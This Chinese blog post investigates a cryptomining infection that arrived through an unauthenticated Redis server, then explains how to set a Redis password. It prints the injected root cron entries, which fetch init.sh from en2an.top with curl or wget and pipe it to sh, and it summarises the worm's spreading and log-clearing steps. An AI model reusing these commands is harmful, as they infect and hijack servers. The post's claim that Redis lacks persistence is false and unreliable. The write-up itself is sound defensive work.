Redis一定要设置密码的原理是什么
内网环境可以不设置密码,但是个人服务器,以及线上公网服务器就有必要设置密码了。
昨天我检查了一下minio在redis中的事件通知,当我查看redis的key时,发现出现了几个不寻常的key。backup1,backup2,backup3。然后我猜想应该是挖矿病毒。
如下面所示:这样就将定时任务和脚本注入到了我们机器当中,就会开始执行 init.sh 脚本
backup1 "\n\n\n*/2 * * * * root cd1 -fsSL http://en2an.top/cleanfda/init.sh | sh\n\n"
backup2 "
\n\n\n*/3 * * * * root wget -q -O- http://en2an.top/cleanfda/init.sh | sh\n\n"
backup3 "
\n\n\n*/4 * * * * root curl -fsSL http://en2an.top/cleanfda/init.sh | sh\n\n"
backup4 "
\n\n\n*/5 * * * * root wd1 -q -O- http://en2an.top/cleanfda/init.sh | sh\n\n"
init.sh脚本内容是什么?
en2an.top/cleanfda/in&
hellip;
我们查看这个key的value能得到它会去请求一个地址,我们打开看一下这个init.sh到底是什么东西。
如下图所示是个脚本文件。
这个脚本还挺多的,关闭selinux、杀掉别人的挖矿进程、杀掉CPU占用过高的进程,如果是自己就跳过、修改破坏系统命令、自己造一个下载器downloads()函数、解锁和加锁定时任务、添加挖矿技术任务、设置SSH免密登陆、下载执行矿机挖矿程序、关闭防火墙、清除日志、感染已知的免密机器、下载执行is.sh。
is.sh脚本内容是什么?en2an.top/cleanfda/is&
hellip;
如下图所示,上面的init.sh会下载我们的is.sh脚本。
我们看一下这个脚本是干什么。
如下图所示,这个脚本的内容也挺多的。下载masscan扫描器、下载pnscan扫描器、安装 redis 用于创建 redis 未授权访问的漏洞、执行 rs.sh。
rs.sh脚本内容是什么?en2an.top/cleanfda/rs&
hellip;
上面的连接可以查看这个脚本内容是什么。
开放 6379 端口、自动化利用redis未授权写入定时任务,利用 pnscan 扫描b段IP 6379 端口,利用 masscan 进行扫描端口。
Redis如何设置密码?通过以上分析得出,该病毒实质为通过redis注入挖矿脚本起作用。如果你的redis没有设置密码,而且暴露在公网上就要小心了。
可以通过以下两种方式对我们的redis进行设置密码。
方式一:修改我们的redis.conf配置文件需要注意的是这种方式因为修改了配置文件, 需要重新启动我们的redis才能生效。
找到我们的redis.conf文件。
Windows如下图所示
我们编辑此文件,找到requirepass,放开注释,设置指定的值就,重启redis就生效了。
由于安装方式可能因人而异,而我是通过docker进行安装的并进行了映射。这里就不给大家演示了,找到自己安装在linux的redis目录找到redis.conf配置文件,跟windows一样的操作,配置完重启就Ok了。
方式二连接我们的redis,然后通过指令的方式设置密码。
这种方式比较简单,而且不需要重启就生效。
下面的指令的意思就是把密码设置为123456,公网可不要设置这么简单阿。
config set requirepass 123456我们查看一下我们的redis的密码。
config get requirepass这样我们的密码就设置成功了,退出我们的redis客户端再次连接的时候就生效了。
Redis是一个基于键值对存储的内存数据库,因其高效、轻量级和可扩展性,已经被广泛应用于互联网领域。在使用Redis时,一定要设置密码,这样可以有效地保障数据的安全性。本文将探讨为什么使用Redis一定要设置密码,并从三个方面解释这个原理。
密码保障Redis的安全性
Redis是一款高速的内存数据库,它能够快速地读写数据,因此被广泛应用于缓存、数据存储等方面。但是由于它是基于内存的数据库,所以不具备持久化存储的功能,意味着数据一旦在Redis中被删除,就无法恢复。
为了防止数据被窃取或篡改,开发人员通常会给Redis设置密码。如果没有设置密码,那么任何人都可以访问Redis,并且可以自由地修改或删除其中的数据。另外,如果你使用的Redis云服务没有设置密码,那么你的数据将会遭到恶意攻击。
设置密码可以防止攻击者入侵Redis
如果你没有设置密码,攻击者可以通过暴力破解的方式将Redis中的数据窃取。因为Redis默认监听所有设备的IP地址,如果不设置密码,那么攻击者甚至可以从全球范围内的任何位置进行攻击。
此外,如果你的服务器被黑客攻击,攻击者有可能会使用常见的口令进行测试,如果密码弱,则可以顺利地进入Redis并掌控其中的数据。因此,为了防止攻击者入侵Redis,你必须给它设置一个强密码。
密码可以避免数据泄露
Redis中的数据通常都是机密信息,因此为了防止泄露,开发人员也必须给Redis设置密码。在实际应用中,如果没有密码保护,那么敏感的信息有可能会被泄露到外界。特别是在多用户环境下,数据泄露更是难以避免。
另外,在Redis中,密码是以明文的形式存在的。如果没有设置密码,那么任何人都可以读取到其中的数据,这也为攻击者提供了机会。因此,在实际应用中,一定要将密码设置为强密码,并且定期更换密码,以保护数据的安全性。
结论
为了保护Redis中的数据,开发人员一定要设置密码。通过设置密码,可以有效地保护数据的安全性,防止攻击者入侵Redis,并且避免数据泄露。如果你正在使用Redis,一定要记住这个原则,并且设置一个强密码,以提高Redis的安全性。